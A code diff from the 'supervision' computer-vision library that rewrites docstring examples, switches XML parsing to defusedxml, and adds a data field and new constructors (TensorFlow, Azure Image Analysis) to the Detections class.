@@ -394,24 +393,23 @@ class DetectionDataset(BaseDataset):

        Example:
            ```python
-            >>> import roboflow
-            >>> from roboflow import Roboflow
-            >>> import supervision as sv
+            import roboflow
+            from roboflow import Roboflow
+            import supervision as sv

-            >>> roboflow.login()
+            roboflow.login()
+            rf = Roboflow()

-            >>> rf = Roboflow()
+            project = rf.workspace(WORKSPACE_ID).project(PROJECT_ID)
+            dataset = project.version(PROJECT_VERSION).download("coco")

-            >>> project = rf.workspace(WORKSPACE_ID).project(PROJECT_ID)
-            >>> dataset = project.version(PROJECT_VERSION).download("coco")
+            ds = sv.DetectionDataset.from_coco(
+                images_directory_path=f"{dataset.location}/train",
+                annotations_path=f"{dataset.location}/train/_annotations.coco.json",
+            )

-            >>> ds = sv.DetectionDataset.from_coco(
-            ...     images_directory_path=f"{dataset.location}/train",
-            ...     annotations_path=f"{dataset.location}/train/_annotations.coco.json",
-            ... )
-
-            >>> ds.classes
-            ['dog', 'person']
+            ds.classes
+            # ['dog', 'person']
            ```
        """
        classes, images, annotations = load_coco_annotations(
@@ -486,25 +484,25 @@ class DetectionDataset(BaseDataset):

        Example:
            ```python
-            >>> import supervision as sv
+            import supervision as sv

-            >>> ds_1 = sv.DetectionDataset(...)
-            >>> len(ds_1)
-            100
-            >>> ds_1.classes
-            ['dog', 'person']
+            ds_1 = sv.DetectionDataset(...)
+            len(ds_1)
+            # 100
+            ds_1.classes
+            # ['dog', 'person']

-            >>> ds_2 = sv.DetectionDataset(...)
-            >>> len(ds_2)
-            200
-            >>> ds_2.classes
-            ['cat']
+            ds_2 = sv.DetectionDataset(...)
+            len(ds_2)
+            # 200
+            ds_2.classes
+            # ['cat']

-            >>> ds_merged = sv.DetectionDataset.merge([ds_1, ds_2])
-            >>> len(ds_merged)
-            300
-            >>> ds_merged.classes
-            ['cat', 'dog', 'person']
+            ds_merged = sv.DetectionDataset.merge([ds_1, ds_2])
+            len(ds_merged)
+            # 300
+            ds_merged.classes
+            # ['cat', 'dog', 'person']
            ```
        """
        merged_images, merged_annotations = {}, {}
@@ -571,13 +569,13 @@ class ClassificationDataset(BaseDataset):

        Example:
            ```python
-            >>> import supervision as sv
+            import supervision as sv

-            >>> cd = sv.ClassificationDataset(...)
-            >>> train_cd,test_cd = cd.split(split_ratio=0.7,
-            ...                             random_state=42,shuffle=True)
-            >>> len(train_cd), len(test_cd)
-            (700, 300)
+            cd = sv.ClassificationDataset(...)
+            train_cd,test_cd = cd.split(split_ratio=0.7,
+                                        random_state=42,shuffle=True)
+            len(train_cd), len(test_cd)
+            # (700, 300)
            ```
        """
        image_names = list(self.images.keys())
@@ -639,20 +637,19 @@ class ClassificationDataset(BaseDataset):

        Example:
            ```python
-            >>> import roboflow
-            >>> from roboflow import Roboflow
-            >>> import supervision as sv
+            import roboflow
+            from roboflow import Roboflow
+            import supervision as sv

-            >>> roboflow.login()
+            roboflow.login()
+            rf = Roboflow()

-            >>> rf = Roboflow()
+            project = rf.workspace(WORKSPACE_ID).project(PROJECT_ID)
+            dataset = project.version(PROJECT_VERSION).download("folder")

-            >>> project = rf.workspace(WORKSPACE_ID).project(PROJECT_ID)
-            >>> dataset = project.version(PROJECT_VERSION).download("folder")
-
-            >>> cd = sv.ClassificationDataset.from_folder_structure(
-            ...     root_directory_path=f"{dataset.location}/train"
-            ... )
+            cd = sv.ClassificationDataset.from_folder_structure(
+                root_directory_path=f"{dataset.location}/train"
+            )
            ```
        """
        classes = os.listdir(root_directory_path)
@@ -1,11 +1,11 @@
 import os
 from pathlib import Path
 from typing import Dict, List, Optional, Tuple
-from xml.dom.minidom import parseString
-from xml.etree.ElementTree import Element, SubElement, parse, tostring
+from xml.etree.ElementTree import Element, SubElement

 import cv2
 import numpy as np
+from defusedxml.ElementTree import fromstring, parse, tostring

 from supervision.dataset.utils import approximate_mask_with_polygons
 from supervision.detection.core import Detections
@@ -129,7 +129,7 @@ def detections_to_pascal_voc(
            annotation.append(next_object)

    # Generate XML string
-    xml_string = parseString(tostring(annotation)).toprettyxml(indent="  ")
+    xml_string = fromstring(tostring(annotation)).toprettyxml(indent="  ")

    return xml_string

@@ -268,12 +268,12 @@ def detections_from_xml_obj(
        [extended_classes.index(class_name) for class_name in class_names]
    )

-    if with_masks:
-        annotation = Detections(
-            xyxy=xyxy, mask=np.array(masks).astype(bool), class_id=class_id
-        )
-    else:
-        annotation = Detections(xyxy=xyxy, class_id=class_id)
+    annotation = Detections(
+        xyxy=xyxy.astype(np.float32),
+        mask=np.array(masks).astype(bool) if with_masks else None,
+        class_id=class_id,
+    )
+
    return annotation, extended_classes


@@ -149,7 +149,7 @@ def load_yolo_annotations(
            annotations[image_path] = Detections.empty()
            continue

-        lines = read_txt_file(str(annotation_path))
+        lines = read_txt_file(file_path=annotation_path, skip_empty=True)
        h, w, _ = image.shape
        resolution_wh = (w, h)

@@ -26,9 +26,9 @@ class BoxAnnotator:

    def __init__(
        self,
-        color: Union[Color, ColorPalette] = ColorPalette.default(),
+        color: Union[Color, ColorPalette] = ColorPalette.DEFAULT,
        thickness: int = 2,
-        text_color: Color = Color.black(),
+        text_color: Color = Color.BLACK,
        text_scale: float = 0.5,
        text_thickness: int = 1,
        text_padding: int = 10,
@@ -63,23 +63,22 @@ class BoxAnnotator:

        Example:
            ```python
-            >>> import supervision as sv
+            import supervision as sv

-            >>> classes = ['person', ...]
-            >>> image = ...
-            >>> detections = sv.Detections(...)
+            classes = ['person', ...]
+            image = ...
+            detections = sv.Detections(...)

-            >>> box_annotator = sv.BoxAnnotator()
-            >>> labels = [
-            ...     f"{classes[class_id]} {confidence:0.2f}"
-            ...     for _, _, confidence, class_id, _
-            ...     in detections
-            ... ]
-            >>> annotated_frame = box_annotator.annotate(
-            ...     scene=image.copy(),
-            ...     detections=detections,
-            ...     labels=labels
-            ... )
+            box_annotator = sv.BoxAnnotator()
+            labels = [
+                f"{classes[class_id]} {confidence:0.2f}"
+                for _, _, confidence, class_id, _ in detections
+            ]
+            annotated_frame = box_annotator.annotate(
+                scene=image.copy(),
+                detections=detections,
+                labels=labels
+            )
            ```
        """
        font = cv2.FONT_HERSHEY_SIMPLEX
@@ -1,68 +1,31 @@
 from __future__ import annotations

-from dataclasses import astuple, dataclass
-from typing import Any, Iterator, List, Optional, Tuple, Union
+from contextlib import suppress
+from dataclasses import dataclass, field
+from typing import Any, Dict, Iterator, List, Optional, Tuple, Union

 import numpy as np

 from supervision.detection.utils import (
+    calculate_masks_centroids,
    extract_ultralytics_masks,
+    get_data_item,
+    is_data_equal,
+    merge_data,
    non_max_suppression,
    process_roboflow_result,
+    validate_detections_fields,
    xywh_to_xyxy,
 )
 from supervision.geometry.core import Position
-
-
-def _validate_xyxy(xyxy: Any, n: int) -> None:
-    is_valid = isinstance(xyxy, np.ndarray) and xyxy.shape == (n, 4)
-    if not is_valid:
-        raise ValueError("xyxy must be 2d np.ndarray with (n, 4) shape")
-
-
-def _validate_mask(mask: Any, n: int) -> None:
-    is_valid = mask is None or (
-        isinstance(mask, np.ndarray) and len(mask.shape) == 3 and mask.shape[0] == n
-    )
-    if not is_valid:
-        raise ValueError("mask must be 3d np.ndarray with (n, H, W) shape")
-
-
-def validate_inference_callback(callback) -> None:
-    tmp_img = np.zeros((256, 256, 3), dtype=np.uint8)
-    res = callback(tmp_img)
-    if not isinstance(res, Detections):
-        raise ValueError("Callback function must return sv.Detection type")
-
-
-def _validate_class_id(class_id: Any, n: int) -> None:
-    is_valid = class_id is None or (
-        isinstance(class_id, np.ndarray) and class_id.shape == (n,)
-    )
-    if not is_valid:
-        raise ValueError("class_id must be None or 1d np.ndarray with (n,) shape")
-
-
-def _validate_confidence(confidence: Any, n: int) -> None:
-    is_valid = confidence is None or (
-        isinstance(confidence, np.ndarray) and confidence.shape == (n,)
-    )
-    if not is_valid:
-        raise ValueError("confidence must be None or 1d np.ndarray with (n,) shape")
-
-
-def _validate_tracker_id(tracker_id: Any, n: int) -> None:
-    is_valid = tracker_id is None or (
-        isinstance(tracker_id, np.ndarray) and tracker_id.shape == (n,)
-    )
-    if not is_valid:
-        raise ValueError("tracker_id must be None or 1d np.ndarray with (n,) shape")
+from supervision.utils.internal import deprecated


@dataclass
 class Detections:
    """
-    Data class containing information about the detections in a video frame.
+    A dataclass representing detection results.
+
    Attributes:
        xyxy (np.ndarray): An array of shape `(n, 4)` containing
            the bounding boxes coordinates in format `[x1, y1, x2, y2]`
@@ -74,6 +37,17 @@ class Detections:
            `(n,)` containing the class ids of the detections.
        tracker_id (Optional[np.ndarray]): An array of shape
            `(n,)` containing the tracker ids of the detections.
+        data (Dict[str, Union[np.ndarray, List]]): A dictionary containing additional
+            data where each key is a string representing the data type, and the value
+            is either a NumPy array or a list of corresponding data.
+
+    !!! warning
+
+        The `data` field in the `sv.Detections` class is currently in an experimental
+        phase. Please be aware that its API and functionality are subject to change in
+        future updates as we continue to refine and improve its capabilities.
+        We encourage users to experiment with this feature and provide feedback, but
+        also to be prepared for potential modifications in upcoming releases.
    """

    xyxy: np.ndarray
@@ -81,14 +55,17 @@ class Detections:
    confidence: Optional[np.ndarray] = None
    class_id: Optional[np.ndarray] = None
    tracker_id: Optional[np.ndarray] = None
+    data: Dict[str, Union[np.ndarray, List]] = field(default_factory=dict)

    def __post_init__(self):
-        n = len(self.xyxy)
-        _validate_xyxy(xyxy=self.xyxy, n=n)
-        _validate_mask(mask=self.mask, n=n)
-        _validate_class_id(class_id=self.class_id, n=n)
-        _validate_confidence(confidence=self.confidence, n=n)
-        _validate_tracker_id(tracker_id=self.tracker_id, n=n)
+        validate_detections_fields(
+            xyxy=self.xyxy,
+            mask=self.mask,
+            confidence=self.confidence,
+            class_id=self.class_id,
+            tracker_id=self.tracker_id,
+            data=self.data,
+        )

    def __len__(self):
        """
@@ -105,11 +82,12 @@ class Detections:
            Optional[float],
            Optional[int],
            Optional[int],
+            Dict[str, Union[np.ndarray, List]],
        ]
    ]:
        """
        Iterates over the Detections object and yield a tuple of
-        `(xyxy, mask, confidence, class_id, tracker_id)` for each detection.
+        `(xyxy, mask, confidence, class_id, tracker_id, data)` for each detection.
        """
        for i in range(len(self.xyxy)):
            yield (
@@ -118,36 +96,18 @@ class Detections:
                self.confidence[i] if self.confidence is not None else None,
                self.class_id[i] if self.class_id is not None else None,
                self.tracker_id[i] if self.tracker_id is not None else None,
+                get_data_item(self.data, i),
            )

    def __eq__(self, other: Detections):
        return all(
            [
                np.array_equal(self.xyxy, other.xyxy),
-                any(
-                    [
-                        self.mask is None and other.mask is None,
-                        np.array_equal(self.mask, other.mask),
-                    ]
-                ),
-                any(
-                    [
-                        self.class_id is None and other.class_id is None,
-                        np.array_equal(self.class_id, other.class_id),
-                    ]
-                ),
-                any(
-                    [
-                        self.confidence is None and other.confidence is None,
-                        np.array_equal(self.confidence, other.confidence),
-                    ]
-                ),
-                any(
-                    [
-                        self.tracker_id is None and other.tracker_id is None,
-                        np.array_equal(self.tracker_id, other.tracker_id),
-                    ]
-                ),
+                np.array_equal(self.mask, other.mask),
+                np.array_equal(self.class_id, other.class_id),
+                np.array_equal(self.confidence, other.confidence),
+                np.array_equal(self.tracker_id, other.tracker_id),
+                is_data_equal(self.data, other.data),
            ]
        )

@@ -166,14 +126,14 @@ class Detections:

        Example:
            ```python
-            >>> import cv2
-            >>> import torch
-            >>> import supervision as sv
+            import cv2
+            import torch
+            import supervision as sv

-            >>> image = cv2.imread(SOURCE_IMAGE_PATH)
-            >>> model = torch.hub.load('ultralytics/yolov5', 'yolov5s')
-            >>> result = model(image)
-            >>> detections = sv.Detections.from_yolov5(result)
+            image = cv2.imread(<SOURCE_IMAGE_PATH>)
+            model = torch.hub.load('ultralytics/yolov5', 'yolov5s')
+            result = model(image)
+            detections = sv.Detections.from_yolov5(result)
            ```
        """
        yolov5_detections_predictions = yolov5_results.pred[0].cpu().cpu().numpy()
@@ -190,6 +150,13 @@ class Detections:
        Creates a Detections instance from a
            [YOLOv8](https://github.com/ultralytics/ultralytics) inference result.

+        !!! Note
+
+            `from_ultralytics` is compatible with
+            [detection](https://docs.ultralytics.com/tasks/detect/),
+            [segmentation](https://docs.ultralytics.com/tasks/segment/), and
+            [OBB](https://docs.ultralytics.com/tasks/obb/) models.
+
        Args:
            ultralytics_results (ultralytics.yolo.engine.results.Results):
                The output Results instance from YOLOv8
@@ -199,23 +166,28 @@ class Detections:

        Example:
            ```python
-            >>> import cv2
-            >>> from ultralytics import YOLO, FastSAM, SAM, RTDETR
-            >>> import supervision as sv
+            import cv2
+            import supervision as sv
+            from ultralytics import YOLO

-            >>> image = cv2.imread(SOURCE_IMAGE_PATH)
-            >>> model = YOLO('yolov8s.pt')
-            >>> model = SAM('sam_b.pt')
-            >>> model = SAM('mobile_sam.pt')
-            >>> model = FastSAM('FastSAM-s.pt')
-            >>> model = RTDETR('rtdetr-l.pt')
-            >>> # model inferences
-            >>> result = model(image)[0]
-            >>> # if tracker is enabled
-            >>> result = model.track(image)[0]
-            >>> detections = sv.Detections.from_ultralytics(result)
+            image = cv2.imread(<SOURCE_IMAGE_PATH>)
+            model = YOLO('yolov8s.pt')
+
+            result = model(image)[0]
+            detections = sv.Detections.from_ultralytics(result)
            ```
-        """
+        """  # noqa: E501 // docs
+
+        if ultralytics_results.obb is not None:
+            return cls(
+                xyxy=ultralytics_results.obb.xyxy.cpu().numpy(),
+                data={"xyxyxyxy": ultralytics_results.obb.xyxyxyxy.cpu().numpy()},
+                confidence=ultralytics_results.obb.conf.cpu().numpy(),
+                class_id=ultralytics_results.obb.cls.cpu().numpy().astype(int),
+                tracker_id=ultralytics_results.obb.id.int().cpu().numpy()
+                if ultralytics_results.obb.id is not None
+                else None,
+            )

        return cls(
            xyxy=ultralytics_results.boxes.xyxy.cpu().numpy(),
@@ -245,14 +217,15 @@ class Detections:

        Example:
            ```python
-            >>> import cv2
-            >>> from super_gradients.training import models
-            >>> import supervision as sv
+            import cv2
+            from super_gradients.training import models
+            import supervision as sv

-            >>> image = cv2.imread(SOURCE_IMAGE_PATH)
-            >>> model = models.get('yolo_nas_l', pretrained_weights="coco")
-            >>> result = list(model.predict(image, conf=0.35))[0]
-            >>> detections = sv.Detections.from_yolo_nas(result)
+            image = cv2.imread(<SOURCE_IMAGE_PATH>)
+            model = models.get('yolo_nas_l', pretrained_weights="coco")
+
+            result = list(model.predict(image, conf=0.35))[0]
+            detections = sv.Detections.from_yolo_nas(result)
            ```
        """
        if np.asarray(yolo_nas_results.prediction.bboxes_xyxy).shape[0] == 0:
@@ -264,6 +237,47 @@ class Detections:
            class_id=yolo_nas_results.prediction.labels.astype(int),
        )

+    @classmethod
+    def from_tensorflow(
+        cls, tensorflow_results: dict, resolution_wh: tuple
+    ) -> Detections:
+        """
+        Creates a Detections instance from a
+        [Tensorflow Hub](https://www.tensorflow.org/hub/tutorials/tf2_object_detection)
+        inference result.
+
+        Args:
+            tensorflow_results (dict):
+                The output results from Tensorflow Hub.
+
+        Returns:
+            Detections: A new Detections object.
+
+        Example:
+            ```python
+            import tensorflow as tf
+            import tensorflow_hub as hub
+            import numpy as np
+            import cv2
+
+            module_handle = "https://tfhub.dev/tensorflow/centernet/hourglass_512x512_kpts/1"
+            model = hub.load(module_handle)
+            img = np.array(cv2.imread(SOURCE_IMAGE_PATH))
+            result = model(img)
+            detections = sv.Detections.from_tensorflow(result)
+            ```
+        """  # noqa: E501 // docs
+
+        boxes = tensorflow_results["detection_boxes"][0].numpy()
+        boxes[:, [0, 2]] *= resolution_wh[0]
+        boxes[:, [1, 3]] *= resolution_wh[1]
+        boxes = boxes[:, [1, 0, 3, 2]]
+        return cls(
+            xyxy=boxes,
+            confidence=tensorflow_results["detection_scores"][0].numpy(),
+            class_id=tensorflow_results["detection_classes"][0].numpy().astype(int),
+        )
+
    @classmethod
    def from_deepsparse(cls, deepsparse_results) -> Detections:
        """
@@ -280,18 +294,18 @@ class Detections:

        Example:
            ```python
-            >>> from deepsparse import Pipeline
-            >>> import supervision as sv
+            import supervision as sv
+            from deepsparse import Pipeline

-            >>> yolo_pipeline = Pipeline.create(
-            ...     task="yolo",
-            ...     model_path = "zoo:cv/detection/yolov5-l/pytorch/" \
-            ...                  "ultralytics/coco/pruned80_quant-none"
-            >>> pipeline_outputs = yolo_pipeline(SOURCE_IMAGE_PATH,
-            ...                         iou_thres=0.6, conf_thres=0.001)
-            >>> detections = sv.Detections.from_deepsparse(result)
+            yolo_pipeline = Pipeline.create(
+                task="yolo",
+                model_path = "zoo:cv/detection/yolov5-l/pytorch/ultralytics/coco/pruned80_quant-none"
+             )
+            result = yolo_pipeline(<SOURCE IMAGE PATH>)
+            detections = sv.Detections.from_deepsparse(result)
            ```
-        """
+        """  # noqa: E501 // docs
+
        if np.asarray(deepsparse_results.boxes[0]).shape[0] == 0:
            return cls.empty()

@@ -304,9 +318,9 @@ class Detections:
    @classmethod
    def from_mmdetection(cls, mmdet_results) -> Detections:
        """
-        Creates a Detections instance from
-        a [mmdetection](https://github.com/open-mmlab/mmdetection) inference result.
-        Also supported for [mmyolo](https://github.com/open-mmlab/mmyolo)
+        Creates a Detections instance from a
+        [mmdetection](https://github.com/open-mmlab/mmdetection) and
+        [mmyolo](https://github.com/open-mmlab/mmyolo) inference result.

        Args:
            mmdet_results (mmdet.structures.DetDataSample):
@@ -317,16 +331,17 @@ class Detections:

        Example:
            ```python
-            >>> import cv2
-            >>> import supervision as sv
-            >>> from mmdet.apis import DetInferencer
+            import cv2
+            import supervision as sv
+            from mmdet.apis import init_detector, inference_detector

-            >>> inferencer = DetInferencer(model_name, checkpoint, device)
-            >>> mmdet_result = inferencer(SOURCE_IMAGE_PATH, out_dir='./output',
-            ...                           return_datasample=True)["predictions"][0]
-            >>> detections = sv.Detections.from_mmdet(mmdet_result)
+            image = cv2.imread(<SOURCE_IMAGE_PATH>)
+            model = init_detector(<CONFIG_PATH>, <WEIGHTS_PATH>, device=<DEVICE>)
+
+            result = inference_detector(model, image)
+            detections = sv.Detections.from_mmdetection(result)
            ```
-        """
+        """  # noqa: E501 // docs

        return cls(
            xyxy=mmdet_results.pred_instances.bboxes.cpu().numpy(),
@@ -366,18 +381,20 @@ class Detections:

        Example:
            ```python
-            >>> import cv2
-            >>> from detectron2.engine import DefaultPredictor
-            >>> from detectron2.config import get_cfg
-            >>> import supervision as sv
+            import cv2
+            import supervision as sv
+            from detectron2.engine import DefaultPredictor
+            from detectron2.config import get_cfg

-            >>> image = cv2.imread(SOURCE_IMAGE_PATH)
-            >>> cfg = get_cfg()
-            >>> cfg.merge_from_file("path/to/config.yaml")
-            >>> cfg.MODEL.WEIGHTS = "path/to/model_weights.pth"
-            >>> predictor = DefaultPredictor(cfg)
-            >>> result = predictor(image)
-            >>> detections = sv.Detections.from_detectron2(result)
+
+            image = cv2.imread(<SOURCE_IMAGE_PATH>)
+            cfg = get_cfg()
+            cfg.merge_from_file(<CONFIG_PATH>)
+            cfg.MODEL.WEIGHTS = <WEIGHTS_PATH>
+            predictor = DefaultPredictor(cfg)
+
+            result = predictor(image)
+            detections = sv.Detections.from_detectron2(result)
            ```
        """

@@ -391,14 +408,22 @@ class Detections:
        )

    @classmethod
-    def from_roboflow(cls, roboflow_result: dict) -> Detections:
+    def from_inference(cls, roboflow_result: Union[dict, Any]) -> Detections:
        """
        Create a Detections object from the [Roboflow](https://roboflow.com/)
-            API inference result.
+        API inference result or the [Inference](https://inference.roboflow.com/)
+        package results. This method extracts bounding boxes, class IDs,
+        confidences, and class names from the Roboflow API result and encapsulates
+        them into a Detections object.
+
+        !!! note
+
+            Class names can be accessed using the key 'class_name' in the returned
+            object's data attribute.

        Args:
-            roboflow_result (dict): The result from the
-                Roboflow API containing predictions.
+            roboflow_result (dict, any): The result from the
+                Roboflow API or Inference package containing predictions.

        Returns:
            (Detections): A Detections object containing the bounding boxes, class IDs,
@@ -406,27 +431,20 @@ class Detections:

        Example:
            ```python
-            >>> import supervision as sv
+            import cv2
+            import supervision as sv
+            from inference.models.utils import get_roboflow_model

-            >>> roboflow_result = {
-            ...     "predictions": [
-            ...         {
-            ...             "x": 0.5,
-            ...             "y": 0.5,
-            ...             "width": 0.2,
-            ...             "height": 0.3,
-            ...             "class_id": 0,
-            ...             "class": "person",
-            ...             "confidence": 0.9
-            ...         },
-            ...         # ... more predictions ...
-            ...     ]
-            ... }
+            image = cv2.imread(<SOURCE_IMAGE_PATH>)
+            model = get_roboflow_model(model_id="yolov8s-640")

-            >>> detections = sv.Detections.from_roboflow(roboflow_result)
+            result = model.infer(image)[0]
+            detections = sv.Detections.from_inference(result)
            ```
        """
-        xyxy, confidence, class_id, masks, trackers = process_roboflow_result(
+        with suppress(AttributeError):
+            roboflow_result = roboflow_result.dict(exclude_none=True, by_alias=True)
+        xyxy, confidence, class_id, masks, trackers, data = process_roboflow_result(
            roboflow_result=roboflow_result
        )

@@ -439,8 +457,43 @@ class Detections:
            class_id=class_id,
            mask=masks,
            tracker_id=trackers,
+            data=data,
        )

+    @classmethod
+    @deprecated(
+        "`Detections.from_roboflow` is deprecated and will be removed in "
+        "`supervision-0.21.0`. Use `Detections.from_inference` instead."
+    )
+    def from_roboflow(cls, roboflow_result: Union[dict, Any]) -> Detections:
+        """
+        Create a Detections object from the [Roboflow](https://roboflow.com/)
+            API inference result or the [Inference](https://inference.roboflow.com/)
+            package results.
+
+        Args:
+            roboflow_result (dict): The result from the
+                Roboflow API containing predictions.
+
+        Returns:
+            (Detections): A Detections object containing the bounding boxes, class IDs,
+                and confidences of the predictions.
+
+        Example:
+            ```python
+            import cv2
+            import supervision as sv
+            from inference.models.utils import get_roboflow_model
+
+            image = cv2.imread(<SOURCE_IMAGE_PATH>)
+            model = get_roboflow_model(model_id="yolov8s-640")
+
+            result = model.infer(image)[0]
+            detections = sv.Detections.from_roboflow(result)
+            ```
+        """
+        return cls.from_inference(roboflow_result)
+
    @classmethod
    def from_sam(cls, sam_result: List[dict]) -> Detections:
        """
@@ -456,17 +509,17 @@ class Detections:

        Example:
            ```python
-            >>> import supervision as sv
-            >>> from segment_anything import (
-            ...     sam_model_registry,
-            ...     SamAutomaticMaskGenerator
-            ...     )
+            import supervision as sv
+            from segment_anything import (
+                sam_model_registry,
+                SamAutomaticMaskGenerator
+             )

-            >>> sam_model_reg = sam_model_registry[MODEL_TYPE]
-            >>> sam = sam_model_reg(checkpoint=CHECKPOINT_PATH).to(device=DEVICE)
-            >>> mask_generator = SamAutomaticMaskGenerator(sam)
-            >>> sam_result = mask_generator.generate(IMAGE)
-            >>> detections = sv.Detections.from_sam(sam_result=sam_result)
+            sam_model_reg = sam_model_registry[MODEL_TYPE]
+            sam = sam_model_reg(checkpoint=CHECKPOINT_PATH).to(device=DEVICE)
+            mask_generator = SamAutomaticMaskGenerator(sam)
+            sam_result = mask_generator.generate(IMAGE)
+            detections = sv.Detections.from_sam(sam_result=sam_result)
            ```
        """

@@ -483,6 +536,93 @@ class Detections:
        xyxy = xywh_to_xyxy(boxes_xywh=xywh)
        return cls(xyxy=xyxy, mask=mask)

+    @classmethod
+    def from_azure_analyze_image(
+        cls, azure_result: dict, class_map: Optional[Dict[int, str]] = None
+    ) -> Detections:
+        """
+        Creates a Detections instance from [Azure Image Analysis 4.0](
+        https://learn.microsoft.com/en-us/azure/ai-services/computer-vision/
+        concept-object-detection-40).
+
+        Args:
+            azure_result (dict): The result from Azure Image Analysis. It should
+                contain detected objects and their bounding box coordinates.
+            class_map (Optional[Dict[int, str]]): A mapping ofclass IDs (int) to class
+                names (str). If None, a new mapping is created dynamically.
+
+        Returns:
+            Detections: A new Detections object.
+
+        Example:
+            ```python
+            import requests
+            import supervision as sv
+
+            image = open(input, "rb").read()
+
+            endpoint = "https://.cognitiveservices.azure.com/"
+            subscription_key = ""
+
+            headers = {
+                "Content-Type": "application/octet-stream",
+                "Ocp-Apim-Subscription-Key": subscription_key
+             }
+
+            response = requests.post(endpoint,
+                headers=self.headers,
+                data=image
+             ).json()
+
+            detections = sv.Detections.from_azure_analyze_image(response)
+            ```
+        """
+        if "error" in azure_result:
+            raise ValueError(
+                f'Azure API returned an error {azure_result["error"]["message"]}'
+            )
+
+        xyxy, confidences, class_ids = [], [], []
+
+        is_dynamic_mapping = class_map is None
+        if is_dynamic_mapping:
+            class_map = {}
+
+        class_map = {value: key for key, value in class_map.items()}
+
+        for detection in azure_result["objectsResult"]["values"]:
+            bbox = detection["boundingBox"]
+
+            tags = detection["tags"]
+
+            x0 = bbox["x"]
+            y0 = bbox["y"]
+            x1 = x0 + bbox["w"]
+            y1 = y0 + bbox["h"]
+
+            for tag in tags:
+                confidence = tag["confidence"]
+                class_name = tag["name"]
+                class_id = class_map.get(class_name, None)
+
+                if is_dynamic_mapping and class_id is None:
+                    class_id = len(class_map)
+                    class_map[class_name] = class_id
+
+                if class_id is not None:
+                    xyxy.append([x0, y0, x1, y1])
+                    confidences.append(confidence)
+                    class_ids.append(class_id)
+
+        if len(xyxy) == 0:
+            return Detections.empty()
+
+        return cls(
+            xyxy=np.array(xyxy),
+            class_id=np.array(class_ids),
+            confidence=np.array(confidences),
+        )
+
    @classmethod
    def from_paddledet(cls, paddledet_result) -> Detections:
        """
@@ -498,21 +638,21 @@ class Detections:

        Example:
            ```python
-            >>> import supervision as sv
-            >>> import paddle
-            >>> from ppdet.engine import Trainer
-            >>> from ppdet.core.workspace import load_config
+            import supervision as sv
+            import paddle
+            from ppdet.engine import Trainer
+            from ppdet.core.workspace import load_config

-            >>> weights = (...)
-            >>> config = (...)
+            weights = ()
+            config = ()

-            >>> cfg = load_config(config)
-            >>> trainer = Trainer(cfg, mode='test')
-            >>> trainer.load_weights(weights)
+            cfg = load_config(config)
+            trainer = Trainer(cfg, mode='test')
+            trainer.load_weights(weights)

-            >>> paddledet_result = trainer.predict([images])[0]
+            paddledet_result = trainer.predict([images])[0]

-            >>> detections = sv.Detections.from_paddledet(paddledet_result)
+            detections = sv.Detections.from_paddledet(paddledet_result)
            ```
        """

@@ -536,9 +676,9 @@ class Detections:

        Example:
            ```python
-            >>> from supervision import Detections
+            from supervision import Detections

-            >>> empty_detections = Detections.empty()
+            empty_detections = Detections.empty()
            ```
        """
        return cls(
@@ -567,30 +707,67 @@ class Detections:

        Example:
            ```python
-            >>> from supervision import Detections
+            import numpy as np
+            import supervision as sv

-            >>> detections_1 = Detections(...)
-            >>> detections_2 = Detections(...)
+            detections_1 = sv.Detections(
+                xyxy=np.array([[15, 15, 100, 100], [200, 200, 300, 300]]),
+                class_id=np.array([1, 2]),
+                data={'feature_vector': np.array([0.1, 0.2)])}
+             )

-            >>> merged_detections = Detections.merge([detections_1, detections_2])
+            detections_2 = sv.Detections(
+                xyxy=np.array([[30, 30, 120, 120]]),
+                class_id=np.array([1]),
+                data={'feature_vector': [np.array([0.3])]}
+             )
+
+            merged_detections = Detections.merge([detections_1, detections_2])
+
+            merged_detections.xyxy
+            array([[ 15,  15, 100, 100],
+                   [200, 200, 300, 300],
+                   [ 30,  30, 120, 120]])
+
+            merged_detections.class_id
+            array([1, 2, 1])
+
+            merged_detections.data['feature_vector']
+            array([0.1, 0.2, 0.3])
            ```
        """
        if len(detections_list) == 0:
            return Detections.empty()

-        detections_tuples_list = [astuple(detection) for detection in detections_list]
-        xyxy, mask, confidence, class_id, tracker_id = [
-            list(field) for field in zip(*detections_tuples_list)
-        ]
+        for detections in detections_list:
+            validate_detections_fields(
+                xyxy=detections.xyxy,
+                mask=detections.mask,
+                confidence=detections.confidence,
+                class_id=detections.class_id,
+                tracker_id=detections.tracker_id,
+                data=detections.data,
+            )

-        def __all_not_none(item_list: List[Any]):
-            return all(x is not None for x in item_list)
+        xyxy = np.vstack([d.xyxy for d in detections_list])

-        xyxy = np.vstack(xyxy)
-        mask = np.vstack(mask) if __all_not_none(mask) else None
-        confidence = np.hstack(confidence) if __all_not_none(confidence) else None
-        class_id = np.hstack(class_id) if __all_not_none(class_id) else None
-        tracker_id = np.hstack(tracker_id) if __all_not_none(tracker_id) else None
+        def stack_or_none(name: str):
+            if all(d.__getattribute__(name) is None for d in detections_list):
+                return None
+            if any(d.__getattribute__(name) is None for d in detections_list):
+                raise ValueError(f"All or none of the '{name}' fields must be None")
+            return (
+                np.vstack([d.__getattribute__(name) for d in detections_list])
+                if name == "mask"
+                else np.hstack([d.__getattribute__(name) for d in detections_list])
+            )
+
+        mask = stack_or_none("mask")
+        confidence = stack_or_none("confidence")
+        class_id = stack_or_none("class_id")
+        tracker_id = stack_or_none("tracker_id")
+
+        data = merge_data([d.data for d in detections_list])

        return cls(
            xyxy=xyxy,
@@ -598,9 +775,10 @@ class Detections:
            confidence=confidence,
            class_id=class_id,
            tracker_id=tracker_id,
+            data=data,
        )

-    def get_anchor_coordinates(self, anchor: Position) -> np.ndarray:
+    def get_anchors_coordinates(self, anchor: Position) -> np.ndarray:
        """
        Calculates and returns the coordinates of a specific anchor point
        within the bounding boxes defined by the `xyxy` attribute. The anchor
@@ -627,6 +805,12 @@ class Detections:
                    (self.xyxy[:, 1] + self.xyxy[:, 3]) / 2,
                ]
            ).transpose()
+        elif anchor == Position.CENTER_OF_MASS:
+            if self.mask is None:
+                raise ValueError(
+                    "Cannot use `Position.CENTER_OF_MASS` without a detection mask."
+                )
+            return calculate_masks_centroids(masks=self.mask)
        elif anchor == Position.CENTER_LEFT:
            return np.array(
                [
@@ -661,35 +845,41 @@ class Detections:
        raise ValueError(f"{anchor} is not supported.")

    def __getitem__(
-        self, index: Union[int, slice, List[int], np.ndarray]
-    ) -> Detections:
+        self, index: Union[int, slice, List[int], np.ndarray, str]
+    ) -> Union[Detections, List, np.ndarray, None]:
        """
-        Get a subset of the Detections object.
+        Get a subset of the Detections object or access an item from its data field.
+
